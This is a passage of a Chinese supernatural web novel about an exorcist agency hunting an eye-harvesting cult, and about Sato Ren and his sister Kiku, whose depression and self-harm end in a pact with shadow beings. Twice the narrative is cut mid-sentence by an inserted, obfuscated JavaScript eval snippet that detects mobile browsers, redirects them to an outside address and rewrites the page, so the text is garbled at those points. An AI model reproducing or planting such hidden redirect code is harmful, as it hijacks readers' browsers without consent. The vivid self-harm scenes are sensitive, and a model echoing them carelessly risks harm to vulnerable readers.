对于擅长木行法术或者拥有相关天赋的人来说,算是强力增幅药剂。” 他顿了顿,表情变得严肃了一些:“但是,桐岛特别注明:虽然所有检测,包括他的‘学者’感知,都表明这药剂‘纯净’、‘无邪气’、‘无直接副作用’,但由于其原料和原理都源自那块极度邪门的‘活肝’,他强烈不建议在非必要、非紧急的战斗或治疗情况下使用。 “潜在的风险未知,也许会影响心性,也许会和某些邪术产生共鸣,总之,慎用。” 源自“活肝”的东西,哪怕看起来再无害,也让人本能地警惕。 “另外,” 森内彻放下文件,脸上露出感兴趣的笑容,“桐岛还在最后提了一句,他最近搞出了一个‘让普通人也能创建临时域’的仪器原型,跟之前那个仓鼠嗑结晶弄出的玩具不一样,不需要人体摄入,但体积比较大,还不稳定。等调试好了,邀请我们过去‘参观体验’。啧,这小子,玩得越来越花了。” 介绍完物资,众人的目光自然落在了新晋正式成员长岛冰茶身上。 她今天没穿那身便于行动的工装裤,而是换了一套相对正式些的、带有家族徽记,火焰与酒杯交织纹样,的深蓝色改良猎装。 栗色短发梳理得整整齐齐,腰间挂着正式驱魔师的铭牌和几件看起来更精良的法器,整个人显得精神抖擞,眉宇间还带着一丝通过考核的兴奋和接下新任务的跃跃欲试。 “恭喜啊,长岛,正式驱魔师了。” 高宏亮笑着祝贺。 “谢谢高宏前辈!” 长岛冰茶有些不好意思地笑了笑,但很快正色道,“我这次来,一方面是领取桐岛前辈寄来的东西,另一方面,也是带来了家族下发的正式任务。” “哦?什么任务?” 森内彻坐直了身体。 “针对‘生贽之会’及其相关邪教势力的长期打击任务。” 长岛冰茶语气认真,“任务等级没有明确限定,视完成情况和遭遇的敌人强度动态调整,属于开放式长期任务。 “报酬和贡献度结算也完全看实际成果。我特意在任务窗口等了一整夜,才抢到这个任务的协助名额,就是怕被别人挑走了。” 她握了握拳,表示决心。 说完长岛冰茶拿着任务牌在森内彻的某个机子上刷了一下,表示任务录入完成。 看来森内彻和各大势力多少都有些合作。 众人了然。看来驱魔师家族也注意到了“生贽之会”的危害,开始正式介入。 长岛冰茶能抢到这个任务的松和万事屋分点,既是她自身努力通宵蹲守,恐怕也和她与吴森森等人已有的接触和“业绩”有关。 “你们家族对‘生贽之会’了解多少?有什么具体线索吗?” 荒开口问道,声音平静。 长岛冰茶想了想,回答道:“我们长岛家在驱魔师家族里也算是个中等规模的联合体,内部有很多支系和不同流派。虽然大家都以主修火行术法闻名,但内部……嗯,其实也有很多小九九,竞争挺激烈的。” 她似乎不想多谈家族内部纷争,话锋一转,“不过我们这一脉,主修‘火与酒’,和家族直系血脉联系比较深,算是比较正统和正派的一支。这次任务,也是直系长老直接下达的。” “关于邪教的消息,目前家族掌握的情报指向两个关键词:眼睛,还有初中女生。” 长岛冰茶压低声音,“似乎近期有多起失踪或异常事件,都隐约与‘献祭眼睛’的仪式,以及特定年龄段的初中女生有关。 但线索很零散,被掩盖得很好,官方渠道似乎也有阻力。我们接到的任务提示就是围绕这两点展开调查,阻止可能的献祭,并追查背后的邪教网络。” 眼睛?初中女生?众人心中一凛。 “任务结算看完成情况……” 森内彻摸了摸下巴,“也就是说,如果我们能捣毁一个据点,救出受害者,或者抓到重要头目,甚至找到更多关于‘瓶装器官’、‘活肝’来源的证据,贡献度和报酬都会很高?” “理论上是这样。” 长岛冰茶点头,“但风险也大,敌人很隐蔽,手段诡异。家族也只是提供了初步线索和任务授权,具体怎么查,能查到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016511|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么程度,就看我们自己了。 “而且这种任务,其他驱魔师或者民间势力也可能接到,可能会有竞争或者……冲突。” 信息汇总完毕,线索指向明确,新装备到手,长岛冰茶正式加入,目标依旧阴险。 森内彻拍了拍手:“好了,东西都清楚了。‘迷穀石花’ 由兰保管,她侦查和潜入用得着。‘细胞活性剂’ 分一分,每人带一支保命。‘木行促进剂’……先由我保管,需要的时候再申请。 “长岛,欢迎正式加入。关于‘眼睛’和‘初中女生’的线索,我会动用我的渠道去查,兰,你从极道和暗网那边也留意一下。高宏,吴小弟,还有荒,你们也多留心周围,特别是学校附近。咱们分头行动,保持联系。” 物资分配完毕,任务目标明确。 万事屋的众人,再次因为“生贽之会”这个共同的敌人,更紧密地集结在一起。 ———— 山路蜿蜒,尘土轻扬。 一老一少两个身影,正沿着通往阪大市区的公路边缘踽踽而行。 走在前头的是个年约五旬、面容清癯、目光沉静的行者,他穿着一身洗得发白、打了好几个补丁的深蓝色袈裟,脚踩草鞋。 手持一根光滑油亮的乌木金刚杖,杖头包着磨损的铜箍。 虽是长途跋涉,衣衫却浆洗得干净,步伐稳健,气息沉凝。 跟在后面的是个十七八岁的少年,同样穿着朴素的僧衣,背着一个不小的竹编背篓,里面似乎只有些简单的铺盖和炊具。 脖子上有着半块石头章,写着“方”。 他皮肤黝黑,眼神灵活,此刻正苦着脸揉着肚子。 “有邪恶的东西注视着这里。” 走在前头的师傅忽然停下脚步。 他抬眼望向远处阪大城市轮廓上空,眉头微蹙,语气平淡地陈述,仿佛在说“天要下雨”。 “啊?邪、邪恶?” 徒弟吓了一跳,也顺着师傅的目光看去,只看到灰蒙蒙的天空和远处的楼宇,“在哪儿?厉害不?” “气息很杂,很隐晦,像躲在臭水沟里的老鼠,不止一股。” 师傅收回目光,继续迈步,语气一转,“小方,晚上吃什么。” 话题转得太快,小方愣了一下,才苦着脸回答:“师傅,咱们在山上找的锥栗都吃完了…蘑菇也没剩多少,要不……晚上去乞讨吧?” “咚!” 一声闷响。 师傅头也不回,反手一杖,不轻不重地敲在徒弟光溜溜的后脑勺上。 “哎哟!” 小方痛呼一声,抱着脑袋,眼泪都快出来了。 “什么乞讨,那叫化缘。” 师傅的声音听不出喜怒,只是纠正。 “是是是,化缘,化缘。” 小方揉着脑袋,赶紧改口,心里嘀咕:不都差不多嘛,都是伸手要饭。 “去森内那边看看吧。” 师傅沉吟了一下,似乎在盘算,“就是手机都没电了,联系不上。去路边给别人看看相赚点?还是解签?” 他像是在问徒弟,又像是在自言自语,列举着自己理论上能用来换点饭钱的“技能”。 “咕噜噜——” “咕噜噜——” 师徒俩的肚子几乎同时发出响亮的抗议,在寂静的路边格外清晰。 两人对视一眼,都从对方眼中看到了饥饿。 “快点走吧…” 师傅叹了口气,加快了脚步,“实在不行,面包店的垃圾桶里,也有很多吃的。” 他说这话时,语气依旧平静,仿佛在讨论某种可行的食材来源,没有丝毫窘迫。 小方咽了口唾沫,想象了一下从垃圾桶里翻找隔夜面包的情景,又摸了摸空空如也的胃袋,终究没说什么。 39. 被看见的眼睛 佐藤莲,这个总是缩在万事屋角落打游戏、被森内彻呼来喝去、看起来没什么存在感和上进心的少年,他的过去,远比表面看起来要破碎和灰暗。 他有个妹妹,叫佐藤菊,今年14岁,刚上初中。 本该是兄妹相伴成长的年纪,他们却早已不生活在一起,甚至见面都很少。原因很简单,也很常见——父母离异。 法庭的判决标准而冰冷: 年幼的妹妹菊判给了母亲,已经接近成年的哥哥莲判给了父亲。 一纸文书,将本就摇摇欲坠的家庭,彻底割裂成两半。 但对佐藤莲来说,这个判决本身,或许并非最痛苦的部分。 更深的寒意,来自于他对“家”这个概念本身的怀疑与幻灭。 他从小就觉得,家里的家人,都像是假的。 父亲是个沉默寡言、早出晚归、似乎永远被生活重担压得喘不过气、对家里的一切都漠不关心的男人。 记忆中,父亲几乎没有抱过他,也没有参加过他的家长会,偶尔的交流仅限于“吃饭了吗”、“钱还够吗”这种最表面的问话。 他就像一个住在同一屋檐下的、负责提供基本生活费的、熟悉的陌生人。 母亲则走向了另一个极端。 在离婚前,她是个敏感、要强、控制欲极强的女人。 她似乎将自己对生活的不满和对丈夫的失望,全部转化成了对家庭的“掌控”。 家里必须一尘不染,东西必须放在固定位置,佐藤莲和妹妹必须严格按照她规定的时间表生活、学习、甚至交友。 任何一点出格的行为,都会引来她长时间的抱怨、指责和冷暴力。 她渴望一个“完美”的家庭形象,却用这种极端的方式,将家里的每个人都推得更远。 父母之间几乎没有温情可言,只有日复一日的冷战、偶尔的争吵,以及无尽的压抑。 佐藤莲和妹妹菊,就像生长在这样一片贫瘠、冰冷、充满裂痕的土壤里的两株幼苗,彼此依偎,却又都营养不良。 法庭判决后,母亲带着妹妹离开了。 父亲依旧沉默,家变得更加空旷、冰冷。佐藤莲感觉自己像是被遗弃在一个巨大的、没有回声的壳里。 家里没有爱,没有温暖,甚至没有激烈的恨,只有一种深入骨髓的、令人窒息的冷漠。 他不再对“家”抱有任何期待。 读书?考上好高中,然后好大学,再找份好工作? 这曾是母亲强加给他的、也是社会灌输的“标准人生路径”。 但看着这个家,看着父母的样子,他怀疑这一切的意义。 他想起了曾经的邻居姐姐,一个非常优秀、拼尽全力考上了名牌大学、甚至读到博士的女孩。 她曾是母亲口中“别人家的孩子”,是佐藤莲童年阴影里一个模糊的、需要仰望的“成功符号”。 然而,就在前两年,他偶然听说,那位姐姐博士毕业后,在杰潘严峻的就业市场里挣扎了许久,最终没能找到理想的工作,心灰意冷之下,选择了一个“条件普通但人看起来老实”的男人结婚,很快辞去工作,成为了一个标准的家庭主妇。 在母亲偶尔的念叨中,佐藤莲拼凑出了那位姐姐婚后的样子:每日围着灶台和孩子转,操心柴米油盐,渐渐失去了曾经眼里的光彩,变得和街上任何一个疲惫的主妇没什么两样。 很像妈妈,但又不一样——她没有妈妈那种扭曲的要强和控制欲,只剩下一种被生活磨平了棱角后的、更广泛的、令人绝望的认命。 这条无数杰潘人走过的、被视为“正途”的道路,在佐藤莲眼中,终点似乎不过是从一个虚假冷漠的家,进入另一个可能同样沉闷压抑的普通生活。 读书、学历,在泡沫经济崩溃后内卷到极致的杰潘社会,真的能保证什么吗? 还是只是延缓了坠入那种令人窒息“普通”的时间? “还有什么必要吗?” 这个念头在他心中越来越清晰。 既然“家”是假的,未来的“正途”看起来也不过是另一个陷阱,那为什么还要继续待在这里,继续走这条令人厌恶的路? 在18岁生日的前一天,佐藤莲收拾了自己为数不多的行李,没有告诉任何人,包括偶尔还有联系的妹妹。 他只是在那个冰冷空旷的“家”里,自己的书桌前,留下了一张字迹潦草的纸条:“我走了。” 然后,他推开那扇象征束缚与冷漠的家门,头也不回地走进了阪大夜晚的街头。 他的父亲,那个沉默的男人,在第二天发现儿子不见了,看到那张纸条后,有没有出去找他? 佐藤莲不知道,也不在乎。 他猜测,大概率是没有。 或者,只是例行公事般地报警备案,然后继续他沉默而麻木的生活。 就这样,佐藤莲成了阪大无数漂泊少年中的一个。 他在网吧过夜,打零工,在街头漫无目的地游荡,直到偶然遇到了森内彻,被带回了“松和万事屋”,有了一个勉强可以栖身、虽然依旧边缘化、但至少无人过分管束、偶尔还能吃上热饭的地方。 游戏成了他逃避现实、消耗时间的工具。 森内彻的支使和调侃,他逆来顺受,因为这比家里那种冰冷的漠视和母亲令人窒息的控制,要好接受得多。 万事屋里的其他人——神秘的高宏亮、忙碌的桐岛凛、冷漠的渡边兰、以及后来加入的、似乎总在麻烦中心的吴森森和那个奇怪的荒——对他而言,更像是某种“背景板”,他不了解,也不想去深入了解。 他不愿再对任何人任何事投入情感。 ———— 佐藤菊,11岁那年,被迫在一纸冰冷的判决书上,理解了“离异”这个词的全部重量。 它不是课本上轻飘飘的名词,而是撕裂的生活、空荡的半边床铺、母亲夜深人静时的叹息,以及哥哥和父亲从此在生活中的“消失”。 她很快明白了。 不是因为父母对她解释了什么,而是从母亲日益尖锐的抱怨、父亲每月准时却沉默的汇款、以及哥哥偶尔在LINE上发来、又迅速撤回的、欲言又止的简短问候中,拼凑出了真相。 她知道为什么哥哥不来看她——那个家大概和这里一样冰冷,甚至更糟。 她知道父亲为什么只打钱——那大概是他能想到的、唯一还能履行的责任。 父亲给的生活费不少,足够她们母女在阪大过着不算拮据的生活。 母亲不需要出去工作,至少不需要为生计奔波。 佐藤菊也很省心,至少看起来是。 她把所有的困惑、恐惧、对被抛弃的害怕,都转化成了一种近乎偏执的“乖”和“努力”。 她拼命学习,成绩在小学一直名列前茅;她主动包揽家务,把家里收拾得井井有条;她从不顶嘴,从不提要求,努力扮演着一个“完美”、“不让大人操心”的女儿。 她心里藏着一个卑微而绝望的念头:是不是我再努力一点,再乖一点,这个家……就不会散?或者,至少妈妈不会也不要我? 但现实没有如果。家早已散了,无论她多乖。 升入初中,课业压力骤增,青春期的烦恼与家庭缺失带来的深层不安全感交织在一起。 佐藤菊发现,自己越来越难以集中精力。 课本上的字在跳动,老师的讲解变得遥远。成绩开始无可挽回地下滑。 起初,母亲还会生气,会骂她“不用功”、“对不起我给你交的学费”、“跟你爸一样没出息”。 那些尖锐的指责像刀子,割在佐藤菊早已千疮百孔的心上,但也让她感到一丝病态的“安心”——至少,妈妈还在“管”她,还在对她有期待。 然而,渐渐地,连这样的指责也稀少了。 母亲回家的时间越来越晚,身上开始带着陌生的香水味,打电话时的语气变得轻柔,脸上偶尔会露出佐藤菊很久没见过的、带着少女般羞涩的笑容。 佐藤菊知道了,母亲恋爱了。 对方是个中年男人,有个可爱的女儿,但他想要个儿子。 他们准备二婚。 这个消息像最后一根稻草,压垮了佐藤菊心中那点摇摇欲坠的支柱。 她越发努力地想抓住点什么——成绩、母亲的关注、哪怕是一点点的存在感。 但越是用力,越是徒劳。 她对着课本发呆,考试时大脑一片空白。 母亲的忽视像无形的墙壁,将她隔绝在自己的情绪孤岛里。 孤独、无助、自我否定、被遗弃的恐惧……种种负面情绪如同藤蔓,将她越缠越紧。 她抑郁了。 某天,在又一次对着糟糕的试卷和空荡荡的家发呆后,无边的绝望吞噬了她。 她走到洗手间,看着镜子里那个眼神空洞、面目模糊的自己,突然感到一阵强烈的厌恶。 她抬手,打碎了镜子。 玻璃碎片四溅,划破了她的手臂,鲜血涌出,染红了白色的校服衬衫。 疼痛尖锐而清晰,却奇异地带来一种释放感,仿佛内心那些无法言说的痛苦,终于找到了一个出口。 那天晚上,母亲被她的样子吓了一跳,手忙脚乱地给她包扎,语气里带着惊慌和久违的、真实的责怪与一丝丝几乎难以察觉的关心:“你这孩子!怎么这么不小心!不,你是故意的吗?为什么要这样做?!” 看着母亲眼中那抹真实的情绪,感受着手臂上传来的、因母亲触碰而带来的、陌生的温暖触感,佐藤菊心里竟然升起一种扭曲的、病态的“开心”。 原来……这样可以吸引妈妈的注意。 这个认知,如同毒草的种子,在她阴暗的内心悄然生根。 于是,反复开始了。 划伤、绝食、故意着凉生病……每一次自我伤害,都能换来母亲短暂的惊慌、关注、责骂,甚至带她去看医生。 心理医生的诊断是“重度抑郁伴自伤行为”,开了药,安排了咨询。 但佐藤菊并不真的想“好”起来,她只是贪婪地汲取着每一次自伤后,母亲被迫投注在她身上的、那一点点可怜的关注。 药吃了,咨询去了,但内心的黑洞越来越大。 然后,最致命的消息来了——母亲怀孕了。 那个男人如愿以偿,母亲即将拥有新的家庭,新的孩子,很可能是个儿子。 而佐藤菊,成了这个新家计划中,一个尴尬的、甚至可能被视为累赘的前段婚姻产物。 某天晚上,佐藤菊蜷缩在自己房间里,准备进行又一次的内啡肽获得手法,却隐约听到门外母亲压低了声音、却因激动而略显清晰的通话声: “……医生,不用再给我发消息了,我已经放弃她了。” “我花了14年的时间培养她,如果她有一天非要寻死,我希望是现在,而不是等我养她到18岁、28岁、38岁的时候再死掉。” “别让我又浪费那么多精力时间在她身上了。” “我跟她现在的爸爸受不了她这样。” 每一个字,都像淬了毒的冰锥,狠狠扎进佐藤菊的耳膜,穿透皮肉,直抵心脏最深处,然后轰然炸开! 将她最后一点对母爱、对亲情、甚至对被看见的卑微奢望,炸得粉碎! “唔——!” 她猛地捂住自己的嘴,不,是死死咬住自己的手背,用尽全身力气,试图将那即将冲破喉咙的、崩溃的哭嚎咽回去。 牙齿深深陷入皮肉,鲜血的咸腥味在口中弥漫,剧烈的疼痛让她的大脑有瞬间的空白,似乎……真的让心里那撕裂般的痛楚,减轻了那么一丝丝。 温热的液体,混合着唾液和鲜血,从她紧咬的指缝和下巴滴落,在冰冷的地板上晕开一小滩暗红。 就在这极致的痛苦、绝望与自我毁灭的欲望达到顶点时,她涣散的目光,无意识地扫过房间的角落、窗帘的阴影、家具的背面…… 她看见了影子。 不是普通的、因光线而产生的阴影。而是蠕动的、仿佛拥有独立生命的、浓稠如墨的黑暗轮廓。 每一个影子的头部位置,都缓缓睁开了一双没有瞳孔、只有一片虚无或闪烁着诡异微光的眼睛。 那些眼睛齐齐注视着她,目光冰冷、漠然,却又带着一种奇异的、仿佛能看穿她所有痛苦与渴望的理解。 一个声音,不是通过耳朵,而是直接在她濒临崩溃的意识深处响起,重叠、空洞,如同来自深渊的回响: “想要……被看见吗?” 佐藤菊停止了颤抖,停止了啃咬自己的动作。 她抬起头,满脸泪痕与血迹,眼神空洞,直勾勾地看着那些影子的眼睛。 然后,她极其缓慢地,点了点头。 点头的幅度很小,却仿佛用尽了她最后的力气,也像是……某种契约的达成。 影子们似乎满意了。 其中一道最浓黑的影子,缓缓抬起手,从它那虚无的眼眶中,摘下了一枚东西——那是一枚仿佛由凝固的黑暗与星光碎屑糅合而成的、微微颤动着的、非实体的“眼球”。 那枚眼球飘向佐藤菊,悬停在她面前。 影子们的声音再次响起,带着蛊惑与指令: “安上。” 佐藤菊没有丝毫犹豫,仿佛被本能驱使,又仿佛早已对这个世界绝望到底。 她伸出颤抖的、沾满自己鲜血的手,接住了那枚冰冷的、不祥的眼球,然后,缓缓地,将它……按向了自己左眼眼眶。 没有预期的剧痛,只有一股冰寒刺骨、却又带着诡异生命力的异物感,迅速与她融为一体。 ———— 佐藤莲已经有很长一段时间没见过妹妹了。不是不想,而是不敢。 每次想起妹妹那双清澈却带着忧郁的眼睛,想起破碎的家庭和各自离散的命运,他内心就涌起一阵无力与逃避的冲动。 他自顾不暇,在万事屋的角落里苟且,用游戏和麻木填充空洞的生活,没有余力,也没有勇气去面对那个可能同样不快乐的妹妹。 直到那个通宵游戏后的清晨。 他揉着发胀的太阳穴,从烟雾缭绕、空气浑浊的网吧里晃出来。 阪大清晨的街道有些冷清,阳光刺眼。他低着头,想着是回万事屋补觉,还是找个便利店买点吃的。 就在这时,一阵嘈杂的女孩子说笑声由远及近。 他下意识地侧身让路,余光却瞥见了一个熟悉又陌生的身影。 是佐藤菊。 但她……完全不像佐藤莲记忆中的样子。 记忆里的妹妹,总是安静、内向,甚至有些畏缩,眼神里带着与年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016512|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龄不符的忧郁和小心翼翼。 而眼前这个被一群同样穿着初中制服的女生簇拥着的少女,却神采飞扬,笑容明媚,言谈举止间带着一种不容置疑的、属于中心人物的自信与张扬。 她正兴致勃勃地跟同伴们讨论着周末的聚会安排,声音清脆响亮,不时爆发出夸张的笑声。 佐藤莲愣住了,脚步钉在原地。 这真的是菊?那个敏感、沉默、总是努力隐藏自己的妹妹? 眼前的少女,仿佛被换了一个灵魂,陌生得让他心悸。 更让他感到不安的是,菊的外貌似乎也发生了微妙的变化——皮肤异常光洁,头发柔顺亮泽得不像话,尤其是那双眼睛……左眼,异常地璀璨夺目。 “菊……” 他下意识地叫出了声,声音干涩。 佐藤菊和她的同伴们停下了脚步。菊转过头,目光落在他身上。 那目光里,没有惊喜,没有久别重逢的激动,甚至没有一丝波澜,只有一种打量陌生人般的、带着些许不耐烦和漠然的审视。 “你谁啊?认识我?” 佐藤菊挑了挑眉,语气轻佻。 “我……我是你哥啊,莲。” 佐藤莲心里一沉,艰难地说道。 “哥?” 佐藤菊嗤笑一声,上下打量了他一番——凌乱的头发,带着黑眼圈的眼睛,皱巴巴的衣服,浑身散发着网吧的烟味和颓废气息。她眼中闪过一丝毫不掩饰的鄙夷。 “哈?就你?看起来这么逊,还好意思说是我哥?” 她撇撇嘴,转身对同伴们说,“走了走了,别理这种莫名其妙的家伙。” “就是,逊毙了!” “菊姐,你哪有这样的哥哥啊?” 几个女生立刻附和,发出刺耳的嘲笑声,对着佐藤莲指指点点,然后簇拥着佐藤菊,趾高气扬地离开了。 佐藤莲僵在原地,如遭雷击。妹妹那陌生的眼神、鄙夷的话语、以及同伴的嘲讽,像一盆冰水,将他浇了个透心凉。 但更让他心底发寒的,是那种强烈的不协调感——这不是菊! 至少,不是他认识的那个菊!可她的脸,她的声音…… 他想追上去问个清楚,脚却像灌了铅。 就在他犹豫的刹那,眼角的余光似乎瞥见,在佐藤菊和那群女生离开时,她们脚下的影子……仿佛比正常的影子更加浓黑、更加活跃,甚至……每一道影子的头部,都隐约浮现出一只诡异的、没有瞳孔的眼睛,正冷冷地注视着他离开的方向。 幻觉?还是通宵后的眼花了?佐藤莲甩了甩头,想把这荒谬的念头甩出去。 他失魂落魄地转身,打算回万事屋。刚走出几步,路过一条僻静的小巷口时,一股莫名的寒意突然从脊背窜起。 他下意识地朝巷子里看了一眼。 巷子深处,光线昏暗。墙壁上、地面上、垃圾桶的阴影里……密密麻麻,挤满了无数道蠕动、纠缠的漆黑影子! 它们没有固定的形状,像浓稠的墨汁在流淌,但每一团影子的表面,都睁开了一只只大小不一、闪烁着冰冷微光或一片虚无的眼睛! 无数道视线,齐刷刷地聚焦在了佐藤莲身上! “!!!” 佐藤莲倒吸一口凉气,血液仿佛瞬间冻结。他想跑,双腿却像被钉住,动弹不得。 那些影子眼睛齐齐眨动了一下,然后,一个重叠、空洞、充满蛊惑意味的声音,直接在他脑海中响起: “想要……变得瞩目吗?” “想要……看清自己的未来吗?” 声音仿佛有魔力,穿透了他因通宵和受惊而混乱的思维,直抵内心最深处——那个渴望被看见、渴望摆脱平庸无力现状、却又对未来一片迷茫的黑暗角落。 鬼使神差地,在极度的恐惧和一种难以言喻的诱惑驱使下,佐藤莲缓缓地、不受控制地,朝着离他最近的一团、眼睛最大的影子,伸出了手。 那团影子似乎笑了,它眼眶中那枚最大的眼球自动脱落,飘向佐藤莲伸出的手掌。 冰冷的、带着粘腻触感的眼球,落入了他的掌心。 就在接触的瞬间,一股尖锐、冰冷、如同被烧红铁钎刺穿的剧痛,从掌心猛地炸开! 佐藤莲惨叫一声,手剧烈一抖,那枚“眼球”脱手飞出,掉在了肮脏的地面上,滚了几圈,表面的微光迅速黯淡。 几乎同时,巷子里所有的影子如同受惊的鱼群,嗖地一下,以惊人的速度缩回各个角落、缝隙、乃至完全消失,仿佛从未存在过。 只留下佐藤莲一个人,握着剧痛刺麻的右手,惊恐万分地站在原地,大口喘息。 过了好一会儿,他才从极度的惊吓中缓过神来。 他低头看向地面,那枚掉落的眼球还在,只是变成了一颗毫不起眼的、灰扑扑的、像是某种劣质玻璃珠的东西,静静躺在污水里。 他犹豫了很久。理智告诉他要立刻离开,当做什么都没发生。 但一种莫名的冲动,以及对刚才那诡异一幕的无法理解,还有……对妹妹那巨大变化的深深不安,让他最终弯腰,用纸巾包着,捡起了那颗石头。 他把它揣进兜里,心脏狂跳。他没有告诉任何人,包括万事屋的森内彻。 ———— 与此同时,佐藤菊的“新生活”正如火如荼。 她在学校里如鱼得水,凭借开朗的性格、出众的外貌,以及某种难以言喻的、让人不自觉想要靠近和服从的魅力,迅速成为了年级,乃至全校的风云人物。 她组织派对,带领小团体,对那些曾经忽视或欺负过她的人施以颜色,享受着众星捧月的感觉。 追随她的女生中,有一个叫小爱的女孩,总是很自卑于自己枯黄毛躁的头发,羡慕佐藤菊那头柔顺亮丽、仿佛会发光的秀发。 一次,她私下向佐藤菊倾诉苦恼,近乎哀求地问:“菊姐,你是怎么把头发弄得这么好的?有没有什么秘诀?我真的好想变漂亮……” 佐藤菊看着她,左眼中那抹幽光微微一闪。她微笑着,用一种神秘的语气说:“想变美?当然有办法。只要你真心向‘那位大人’祈求……” 当晚,独自在房间时,佐藤菊对着镜子,低声向那些寄居在她影子中的“眼睛”祈求。 不久,她的梳妆台上,凭空出现了一顶看起来极其逼真、发质柔顺亮泽的黑色长假发。 她满意地拿起假发,触手微凉,带着一丝若有若无的、类似檀香又似铁锈的奇异气味。 第二天,她把假发送给了小爱,告诉她这是“特别渠道弄来的高级货”,戴上就能拥有和她一样美丽的头发。 小爱感激涕零,立刻戴上了。 假发如同有生命般,完美地贴合了她的头皮,发丝瞬间变得光泽动人,她看起来确实漂亮了许多。 然而,几天后,小爱开始频繁头痛,精神恍惚,原本还算活泼的性格变得沉默阴郁。 又过了几天,她莫名其妙地从学校天台跌落,摔成重伤,昏迷不醒。 医生检查不出具体原因,只说是可能的精神状态问题。 那顶假发,在她出事时,不知所踪。 佐藤菊听闻消息,只是淡淡地“哦”了一声,眼中毫无波澜。 她对着镜子梳理着自己越发柔顺光亮、如同顶级丝绸般的及腰长发,左眼映出自己美丽却冰冷的面容。 佐藤菊现在是全班,不,全校甚至是整个阪大最美的女生。 40. 雪中交易 越来越多的初中女生失踪、绑架案,像一片不祥的阴云笼罩在阪大上空。 更令人毛骨悚然的是,那些侥幸被找回的女孩,无一例外地失去了一只眼睛,伤口整齐,仿佛被精密地摘除。 而她们本人对遭遇要么记忆全无,要么语焉不详,精神遭受重创。 “松和万事屋”内,气氛凝重。 长岛冰茶之前带来的情报——“眼睛”与“初中女生”——与现实案件高度吻合,指向性明确得令人不安。 “补完仪式。” 高宏亮沉声道,手指敲着桌面,“那个邪教,或者说他们侍奉的什么东西,需要这些女孩的眼睛来完成某种‘补全’。这玩意儿现在还‘不完整’,所以需要不断‘进食’。” 森内彻靠在他的老板椅上,紫绿挑染下的眼睛微眯:“也就是说,我们得在它‘吃饱喝足’、变得更难对付之前,找到它的老巢,或者至少打断它的‘进食’过程。” 长岛冰茶已经尝试用她的寻踪罗盘,结合警方有限的现场残留物信息、以及之前“活肝”等物品的邪气样本,进行指向性占卜。 但罗盘指针摇摆不定,时强时弱,仿佛被一股更庞大、更混乱的黑暗力量所干扰,无法给出稳定清晰的指引。 “不行,干扰太强了。” 长岛冰茶额头冒汗,有些沮丧地收起罗盘,“要么是对方有极强的反占卜手段,要么就是……仪式的场所有某种天然的屏蔽,或者其力量性质本身就难以捕捉。” 荒站在窗边,望着外面的城市,摇了摇头:“在城市这种人类聚集、灵脉复杂、浊气弥漫的地方,我的力量感知也受到很大限制。 “水流能净化污秽,却难以从这汪洋般的‘杂音’中,精准分离出那一缕特定的邪气波纹。除非它大规模爆发,或者靠近水源地。” 线索似乎陷入了僵局。众人一筹莫展。 “叮铃铃——” 森内彻桌上的座机响了。他接起来,嗯啊几句,然后冲着角落里的方向喊:“佐藤莲!死哪去了?快点滚回来!顺便在路口便利店打包点吃的!” 挂了电话,他揉着太阳穴,“这小子,越来越没规矩了。” 为了缓解沉闷的气氛,也为了等待佐藤莲和食物,森内彻随手用遥控器打开了墙上的老式电视机。 新闻频道正在播报一些无关紧要的市政消息。 就在这时,节目突然切换,主持人用兴奋的语气宣布:“现在插播一条特别报道!备受瞩目的本年度‘阪大市初中生才艺与风采大赛’总决赛刚刚落下帷幕,冠军已经诞生!让我们恭喜佐藤菊同学!十五分钟后,她将在现场发表获奖感言,请不要走开!” 画面切到了比赛现场,一个装饰华丽的舞台。 聚光灯下,一个穿着精致礼服的少女正接过奖杯,对着镜头露出标准的、甜美的笑容。 就在少女的脸清晰地出现在屏幕上的瞬间—— “哐当!” 一直坐在角落、因为刚才被点名而有些心虚缩着的佐藤莲,如同被电击般猛地从椅子上弹了起来! 动作之大,差点带翻了旁边小茶几上的杯碗! 他瞪大了眼睛,死死盯着电视屏幕,脸色“唰”地一下变得惨白,嘴唇颤抖着,却发不出任何声音。 “莲?” 吴森森被他剧烈的反应吓了一跳。 森内彻也立刻看向电视,又看看佐藤莲,紫绿色的眉头皱起,迅速对比着屏幕上的少女和佐藤莲的脸部轮廓、五官特征……太像了! 尤其是眉眼和鼻梁的弧度! “喂,莲,电视上那个女孩……佐藤菊……不会是你……” 森内彻的话没说完。 就在这时,电视画面中,正在接受采访、笑容完美的佐藤菊,身体忽然毫无征兆地一晃,眼睛一闭,软软地向前倒去! “啊!” 现场传来一阵惊呼。 然而,预想中的混乱并未发生。画面似乎卡顿了一下,然后,佐藤菊倒下的身影被迅速切入的其他镜头所遮挡,现场导演似乎试图控制局面,但信号开始不稳定,画面出现雪花和扭曲。 紧接着,电视屏幕猛地一黑!只剩下沙沙的噪音。 “信号中断?” 高宏亮皱眉。 “不……不太对劲。” 荒猛地转身,看向窗外,他体内的水流之力似乎感应到了什么。 而佐藤莲,在看到妹妹晕倒、信号中断的刹那,脑子里那根名为“理智”的弦彻底崩断了! 他再也不管什么万事屋、什么任务、什么诡异案件,脑海里只有一个念头——去找菊!马上去! “菊——!!!” 